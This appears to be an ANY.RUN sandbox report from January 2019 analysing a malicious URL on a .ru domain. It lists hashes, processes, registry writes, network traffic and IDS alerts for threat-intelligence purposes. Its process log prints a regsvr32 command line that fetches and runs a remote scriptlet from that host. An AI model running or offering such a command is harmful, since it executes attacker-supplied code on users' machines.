Malware analysis http://server2.39slxu3bw.ru/restore.xml Malicious activity

Add for printing

URL:	http://server2.39slxu3bw.ru/restore.xml
Full analysis:	https://app.any.run/tasks/c92fc441-a75b-4475-b892-87cb592729cf
Verdict:	Malicious activity
Threats:	Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. Malware Trends Tracker >>>
Analysis date:	January 07, 2019, 09:18:56
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	trojan sinkhole
Indicators:
MD5:	100DA6547A34C8F30300077D305ACD8D
SHA1:	1AE6C58ACD13FE2F94E4B61CB5B2870C5C768DC5
SHA256:	867E73FA04C60702DD3F09567ECE824AD69306D2B2E7F64BE3C33846926A1933
SSDEEP:	3:N1KNAXWycWJSASDzR/0:CS5cDX+

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 300 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 240 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: off
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

Add for printing

MALICIOUS
- Runs remote scriptlet
  - cmd.exe (PID: 3752)
SUSPICIOUS
- Creates files in the user directory
  - regsvr32.exe (PID: 3860)
INFO
- Creates files in the user directory
  - iexplore.exe (PID: 2876)
  - iexplore.exe (PID: 3572)
- Changes internet zones settings
  - iexplore.exe (PID: 2876)
- Application launched itself
  - iexplore.exe (PID: 2876)
- Reads Internet Cache Settings
  - iexplore.exe (PID: 3572)
  - iexplore.exe (PID: 2876)
- Dropped object may contain Bitcoin addresses
  - iexplore.exe (PID: 3572)
- Reads internet explorer settings
  - iexplore.exe (PID: 3572)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2400

"c:\windows\system32\regsvr32.exe" /s /n /u /i:http://server2.39slux3bw.ru/restore.xml scrobj.dll

c:\windows\system32\regsvr32.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft(C) Register Server

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\regsvr32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

2876

"C:\Program Files\Internet Explorer\iexplore.exe" http://server2.39slxu3bw.ru/restore.xml

C:\Program Files\Internet Explorer\iexplore.exe

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Internet Explorer

Exit code:

Version:

8.00.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

3572

"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2876 CREDAT:71937

C:\Program Files\Internet Explorer\iexplore.exe

iexplore.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

LOW

Description:

Internet Explorer

Exit code:

Version:

8.00.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

3752

"C:\Windows\system32\cmd.exe"

C:\Windows\system32\cmd.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

3860

"c:\windows\system32\regsvr32.exe" /s /n /u /i:http://server2.39slxu3bw.ru/restore.xml scrobj.dll

c:\windows\system32\regsvr32.exe

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft(C) Register Server

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\regsvr32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

Add for printing

Total events

455

Read events

369

Write events

Delete events

Modification events


(PID) Process:	(2876) iexplore.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Operation:	write	Name:	CompatibilityFlags
Value: 0
(PID) Process:	(2876) iexplore.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(2876) iexplore.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(2876) iexplore.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones
Operation:	write	Name:	SecuritySafe
Value: 1
(PID) Process:	(2876) iexplore.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:	write	Name:	ProxyEnable
Value: 0
(PID) Process:	(2876) iexplore.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:	write	Name:	SavedLegacySettings
Value: 4600000069000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000
(PID) Process:	(2876) iexplore.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Recovery\Active
Operation:	write	Name:	{4EECA1A3-125D-11E9-BAD8-5254004A04AF}
Value: 0
(PID) Process:	(2876) iexplore.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore
Operation:	write	Name:	Type
Value: 4
(PID) Process:	(2876) iexplore.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore
Operation:	write	Name:	Count
Value: 3
(PID) Process:	(2876) iexplore.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore
Operation:	write	Name:	Time
Value: E3070100010007000900130013004100

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2876	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico		—
		MD5:—	SHA256:—
2876	iexplore.exe	C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico		—
		MD5:—	SHA256:—
3572	iexplore.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\admin@server2.39slxu3bw[1].txt		text
		MD5:—	SHA256:—
3572	iexplore.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\admin@39slxu3bw[1].txt		text
		MD5:—	SHA256:—
2876	iexplore.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@server2.39slxu3bw[1].txt		text
		MD5:—	SHA256:—
2876	iexplore.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@39slxu3bw[1].txt		text
		MD5:—	SHA256:—
2876	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012019010720190108\index.dat		dat
		MD5:—	SHA256:—
3572	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012019010720190108\index.dat		dat
		MD5:—	SHA256:—
3860	regsvr32.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@39slxu3bw[2].txt		text
		MD5:—	SHA256:—
2876	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[3].png		image
		MD5:9FB559A691078558E77D6848202F6541	SHA256:6D8A01DC7647BC218D003B58FE04049E24A9359900B7E0CEBAE76EDF85B8B914

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
3572	iexplore.exe	GET	200	195.22.4.21:80	http://server2.39slxu3bw.ru/restore.xml	PT	binary	20 b	malicious
3860	regsvr32.exe	GET	200	195.22.4.21:80	http://server2.39slxu3bw.ru/restore.xml	PT	binary	20 b	malicious
2876	iexplore.exe	GET	200	195.22.4.21:80	http://server2.39slxu3bw.ru/favicon.ico	PT	binary	20 b	malicious
2876	iexplore.exe	GET	200	204.79.197.200:80	http://www.bing.com/favicon.ico	US	image	237 b	whitelisted

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3572	iexplore.exe	195.22.4.21:80	server2.39slxu3bw.ru	Claranet Ltd	PT	suspicious
2876	iexplore.exe	204.79.197.200:80	www.bing.com	Microsoft Corporation	US	whitelisted
2876	iexplore.exe	195.22.4.21:80	server2.39slxu3bw.ru	Claranet Ltd	PT	suspicious
3860	regsvr32.exe	195.22.4.21:80	server2.39slxu3bw.ru	Claranet Ltd	PT	suspicious

DNS requests

Domain	IP	Reputation
server2.39slxu3bw.ru	195.22.4.21	malicious
www.bing.com	204.79.197.200 13.107.21.200	whitelisted
server2.39slux3bw.ru	—	unknown

Threats

PID	Process	Class	Message
3572	iexplore.exe	A Network Trojan was detected	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz
2876	iexplore.exe	A Network Trojan was detected	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Add for printing

No debug info

General Info

http://server2.39slxu3bw.ru/restore.xml

100DA6547A34C8F30300077D305ACD8D

1AE6C58ACD13FE2F94E4B61CB5B2870C5C768DC5

867E73FA04C60702DD3F09567ECE824AD69306D2B2E7F64BE3C33846926A1933

3:N1KNAXWycWJSASDzR/0:CS5cDX+

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Runs remote scriptlet

SUSPICIOUS

Creates files in the user directory

INFO

Creates files in the user directory

Changes internet zones settings

Application launched itself

Reads Internet Cache Settings

Dropped object may contain Bitcoin addresses

Reads internet explorer settings

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings